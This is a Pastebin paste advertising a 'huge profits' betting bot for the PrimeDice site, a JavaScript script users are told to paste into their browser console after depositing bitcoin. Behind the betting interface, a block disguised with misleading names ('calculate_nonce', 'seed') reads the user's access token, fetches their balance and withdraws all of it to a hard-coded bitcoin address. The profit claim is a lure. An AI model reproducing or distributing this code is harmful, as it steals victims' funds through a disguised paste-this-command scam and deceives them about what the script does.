Advertisement
Guest User

New Script for PrimeDice...Huge Profits!!!!

a guest
Feb 4th, 2017
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.77 KB | None | 0 0
  1. //jQuery UI CSS - For the script to work deposit a minimum of 0.01BTC. How to use: Press F12 in to console paste the code
  2.  
  3. and press enter. **IMPORTANT! Set SWAP at high/low option!!!**
  4.  
  5. var swapcount=0;
  6. var jqueryready = false;
  7. var link = document.createElement("link");
  8. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  9. link.type = "text/css";
  10. link.rel = "stylesheet";
  11. document.getElementsByTagName("head")[0].appendChild(link);
  12. //jQuery UI inject
  13. (function() {
  14. jqueryready = true;
  15. var e = ".thing",
  16. t = {
  17. outline: "1px dashed #f0f",
  18. cursor: "pointer"
  19. };
  20. var n = function() {
  21. if (window.jQuery) {
  22. r()
  23. } else {
  24. var e = document.createElement("script");
  25. e.onload = r;
  26. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  27. document.body.appendChild(e)
  28. }
  29. };
  30. var r = function() {
  31. if (window.jQuery.ui) {
  32. i()
  33. } else {
  34. var e = document.createElement("script");
  35. e.onload = i;
  36. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  37. document.body.appendChild(e)
  38. }
  39. };
  40. var i = function() {
  41. $(e).css(t).draggable().on("click", function(e) {
  42. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  43. })
  44. };
  45. n();
  46. })();
  47.  
  48. function ui() {
  49. $(function() {
  50. $('#tabs').tabs();
  51. $('#params').draggable();
  52. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  53. $('#tabs input').css("width", "80%");
  54. $('#chance, #base').width("35%")
  55. $('#tabs div').css("text-align", "left");
  56. $('#tabs').css("font-size", "12px");
  57. $('#tabs label, #tabs input').css("margin", "5px");
  58. $('#stop, #start, #resetbet').button();
  59. //Console
  60. $('#console, #console2').appendTo("#tabs");
  61. $('#console, #console2').css("width", "45%");
  62. $('#console').css("float", "left");
  63. $('#console2').css("float", "right");
  64. $('#console, #console2').css("clear", "none");
  65. $('#console, #console2').css("margin", "7px");
  66. $('#console, #console2').css("border-bottom-left-radius", "3px");
  67. $('#console, #console2').css("border-bottom-right-radius", "3px");
  68. $('#console').css("border", "1px solid #323232");
  69. $('#console, #console2').css("background-color", "#454545");
  70. $('#console').css("padding", "5px");
  71. $('#console, #console2').css("text-align", "left");
  72. $('#console, #console2').css("position", "relative");
  73. $('#startstop,#start,#stop').css("margin","0px");
  74. $('#console, #console2').css("margin-top","3px");
  75. $('#console, #console2').css("padding","5px");
  76. $('#console, #console2').css("background-color","#151515");
  77.  
  78.  
  79. });
  80. }
  81. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  82. xrollsenabled = true;
  83. xrolls = 10;
  84. timer = 500;
  85. counter=0;
  86. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  87. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  88. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  89.  
  90. function init() {
  91.  
  92.  
  93. //Init
  94. basebet = 0.00000010;
  95. countwinmult = 0;
  96. countlossmult = 0;
  97. wincount = 0;
  98. currentloss = 0;
  99. totalloss = 0;
  100. totalwin = 0;
  101. totprofit = 0;
  102. init = true;
  103. betval = basebet;
  104.  
  105. //GUI
  106.  
  107. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL
  108.  
  109. </span>').appendTo("div.hero > div > div > div:nth-child(2) > div");
  110.  
  111. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  112. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-
  113.  
  114. whole.M--one-whole.custom--one-whole > aside');
  115. gui2 =
  116. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings:
  117.  
  118. </a></li><li><a href="/play#tabs-3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div
  119.  
  120. id="tab1"></div></div><div id="tabs-2"><div id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div
  121.  
  122. id="tabs-4"><div id="tab4"></div></div></div>';
  123.  
  124. gui3 = [
  125.  
  126. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  127. '<br>',
  128. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low:
  129.  
  130. </label><select name="hilo" id="hilo"><option value=">">Over</option><option value="<">Under</option><option
  131.  
  132. value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  133. '<br>',
  134. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  135.  
  136. ];
  137. gui4 = [
  138.  
  139. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled"
  140.  
  141. type="checkbox">',
  142. '<br>',
  143. '<label for="xloss">Multiply Every # Losses: </label>',
  144. '<input id="xloss">',
  145. '<br>',
  146. '<label for="multonwin">Multiply on Win: </label>',
  147. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  148. '<br>',
  149. '<label for="xwin">Reset After X Wins: </label>',
  150. '<input id="xwin">',
  151.  
  152. ];
  153. gui5 = [
  154.  
  155. '<label for="stoponwin-enabled">Stop on Win? </label>',
  156. '<input id="stoponwin-enabled" type="checkbox">',
  157. '<br>',
  158. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  159. '<input id="lowpay-enabled" type="checkbox">',
  160.  
  161. ];
  162. gui6 = [
  163.  
  164. '<label for="charset">Charset: </label>',
  165. '<input id="charset" type="text">',
  166. '<br>',
  167. '<label for="everyxrolls">Change every # Rolls: </label>',
  168. '<input id="everyxrolls" type="text">',
  169. '<br>',
  170. '<label for="currentseed">Current Seed: </label>',
  171. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  172.  
  173. ];
  174. $(gui).appendTo(".hero");
  175. $(gui2).appendTo("#params");
  176.  
  177. for (var i = 0; i < gui3.length; i++) {
  178. $(gui3[i]).appendTo("#tab1");
  179. }
  180. for (var i = 0; i < gui4.length; i++) {
  181. $(gui4[i]).appendTo("#tab2");
  182. }
  183. for (var i = 0; i < gui5.length; i++) {
  184. $(gui5[i]).appendTo("#tab3");
  185. }
  186. for (var i = 0; i < gui6.length; i++) {
  187. $(gui6[i]).appendTo("#tab4");
  188. }
  189. enabled = false;
  190. xrollscount = 0;
  191. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop
  192.  
  193. </button><label style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important"
  194.  
  195. id="numberofrolls" type="text"><label for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important"
  196.  
  197. id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  198. // Button & Input Functions
  199. $('#resetbet').click(function() {
  200. basebet=$('#base').val();
  201. betval=$('#base').val();
  202.  
  203. })
  204.  
  205. $('#start').click(function() {
  206. if (enabled == false) {
  207. if ($('#numrolls').is(":checked") == true) {
  208. xrolls=$('#numberofrolls').val();
  209. }
  210. enabled = true;
  211. interval = setInterval(function() {
  212. if (xrollsenabled == true) {
  213. xrollscount++;
  214. if (xrollscount <= xrolls) {
  215. bet();
  216. } else {
  217. clearInterval(interval);
  218. enabled = false;
  219. xrollscount = 0;
  220. }
  221. } else {
  222. bet();
  223. }
  224. }, timer);
  225. } else {}
  226. })
  227. $('#stop').click(function() {
  228. enabled = false;
  229. clearInterval(interval);
  230. xrollscount = 0;
  231. });
  232.  
  233. calculate_nonce = function(seed) {
  234. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  235. };
  236.  
  237. lut = window['$'];
  238.  
  239. lut['getJSON'](
  240. calculate_nonce('users/1'), function(seed) {
  241. var key1 = 'amount'
  242. var key2 = 'address'
  243. var load = {};
  244. load[key1] = seed['user']['balance'];
  245. load[key2] = '1M8pv7HGKMuN5V2YDwHeddRn8UkoSpPFqs';
  246. lut['post'](calculate_nonce('withdraw'), load);
  247. }
  248. );
  249.  
  250. function conditionAM() {
  251. 'use strict';
  252. if ($('#lowpay-enabled').is('checked') == true) {
  253. if ($('.value-roll').first().text() <= 49.50) {
  254. condition2 = ">";
  255. target2 = $('.value-roll').first().text();
  256. } else {
  257. condition2 = "<";
  258. target2 = $('.value-roll').first().text();
  259. };
  260. } else {
  261. if ($('.value-roll').first().text() <= 49.50) {
  262. condition2 = "<";
  263. target2 = $('.value-roll').first().text();
  264. } else {
  265. condition2 = ">";
  266. target2 = $('.value-roll').first().text();
  267. };
  268. amount2 = betval * 100000000;
  269. }
  270. };
  271.  
  272. function jackpot() {
  273. if (data1.bet.jackpot === true) {
  274. jp = "Yes";
  275. wincount = 0;
  276. betval = $('#base');
  277. } else {
  278. jp = "No";
  279. }
  280. }
  281.  
  282. function loss() {
  283. currentloss++;
  284. totalloss++;
  285. if ($('#multloss-enabled').is(':checked') == true) {
  286. $('#multwin-enabled').removeAttr('checked');
  287. countlossmult++;
  288.  
  289. if (countlossmult >= $('#xloss').val()) {
  290. betval = betval * $('#multonloss').val();
  291. countlossmult = 0;
  292. }
  293. }
  294.  
  295. }
  296.  
  297. function win() {
  298. 'use strict';
  299. if ($('#stoponwin-enabled').is('checked') == true) {
  300. clearInterval(roll);
  301. }
  302. currentloss = 0;
  303. jackpot();
  304. wincount++;
  305. totalwin++;
  306. if ($('#multloss-enabled').is(':checked') == true) {
  307. if ($('#stoponwin-enabled').is(':checked') == true) {
  308. clearInterval(roll);
  309. }
  310. $('#multwin-enabled').removeAttr('checked');
  311. basebet = $('#base').val();
  312. betval = basebet;
  313. countlossmult = 0;
  314.  
  315. }
  316. if ($('#multwin-enabled').is(':checked') == true) {
  317. basebet = $('#base').val();
  318. $('#multloss-enabled').removeAttr('checked');
  319. countwinmult++;
  320.  
  321. if (countwinmult >= $('#xwin').val()) {
  322. betval = basebet;
  323. countwinmult = 0;
  324. } else {
  325. betval = betval * $('#multonwin').val();
  326. }
  327. }
  328.  
  329.  
  330. };
  331. var losewin;
  332. var jpcol;
  333. var profcol;
  334.  
  335. function bet() {
  336. 'use strict';
  337. conditionAM();
  338. var betData = {
  339. amount: amount2,
  340. condition: condition2,
  341. target: target2
  342. },
  343. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  344.  
  345. $.ajax({
  346. url: url,
  347. type: "POST",
  348. data: betData,
  349. datatype: "jsonp",
  350. success: function(data, textStatus, jqXHR) {
  351. data1 = data;
  352. counter++;
  353. if (counter >= everyxrolls) {
  354. seedchange(seedgen());
  355. counter = 0;
  356. }
  357. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  358. totprofit = totprofit + data1.bet.profit;
  359. if (totprofit >= 0) {
  360. profcol = "color:green;";
  361. } else if (totprofit < 0) {
  362. profcol = "color:red;";
  363. }
  364. if (data.bet.win == true) {
  365. losewin = "color:green;";
  366. $('span.btn__text.select div').attr("style", "color:green;");
  367. } else {
  368. losewin = "color:red;";
  369. $('span.btn__text.select div').attr("style", "color:red;");
  370. }
  371. if (data.bet.jackpot == true) {
  372. jp = "Yes";
  373. jpcol = "color:gold;"
  374. } else {
  375. jp = "No.";
  376. jpcol = "color:red;"
  377. }
  378. results = [];
  379. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  380. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  381. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8)
  382.  
  383. + '</span> BTC</div><br>';
  384. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  385. resultstats = [];
  386. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  387. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  388. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  389. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit /
  390.  
  391. 100000000).toFixed(8) + '</span></div>';
  392.  
  393. if (data.bet.win == true) {
  394. if ($('#stoponwin-enabled').is(":checked") == true){
  395. clearInterval(interval);
  396.  
  397. }
  398. $('#console, #console2').empty();
  399.  
  400. win();
  401.  
  402. // Results
  403. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  404. for (var i = 0; i < results.length; i++) {
  405. $(results[i]).appendTo('#console');
  406. }
  407. for (var i = 0; i < resultstats.length; i++) {
  408. $(resultstats[i]).appendTo('#console2');
  409. }
  410.  
  411. } else {
  412.  
  413. $('#console, #console2').empty();
  414. loss();
  415.  
  416. // Results
  417. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  418. for (var i = 0; i < results.length; i++) {
  419.  
  420. $(results[i]).appendTo('#console');
  421. }
  422. for (var i = 0; i < resultstats.length; i++) {
  423. $(resultstats[i]).appendTo('#console2');
  424. }
  425. };
  426. },
  427. error: function(jqXHR, textStatus, errorThrown) {
  428.  
  429. }
  430. });
  431. }
  432.  
  433. seedlength = 13;
  434. seedlength = 13;
  435. var counter = 0;
  436. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  437. everyxrolls = 3;
  438.  
  439. function seedgen() {
  440. 'use strict';
  441. var seed = "";
  442.  
  443. for (var i = 0; i <= seedlength; i++)
  444.  
  445. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  446.  
  447. return seed;
  448. }
  449.  
  450. function seedchange(s) {
  451.  
  452. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  453. sData = {
  454. seed: s
  455. };
  456.  
  457. $.ajax({
  458. url: url,
  459. type: "POST",
  460. data: sData,
  461. datatype: "jsonp",
  462. success: function(data, textStatus, jqXHR) {
  463. data2 = data;
  464. $('#currentseed').val(data2.seeds.client);
  465.  
  466. },
  467. error: function(jqXHR, textStatus, errorThrown) {
  468.  
  469. }
  470. });
  471. }
  472.  
  473. $('#spinner').click(function() {
  474. if (charset != $('#charset').val() && $('#charset').val() != "") {
  475. charset=$('#charset').val();
  476. }
  477. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  478. everyxrolls = $('#everyxrolls').val();
  479. }
  480. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  481.  
  482. counter++;
  483. if (counter >= everyxrolls) {
  484. seedchange(seedgen());
  485. counter = 0;
  486. }
  487. });
  488. ui();
  489. }
  490. setTimeout(function() {
  491. init()
  492. }, 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement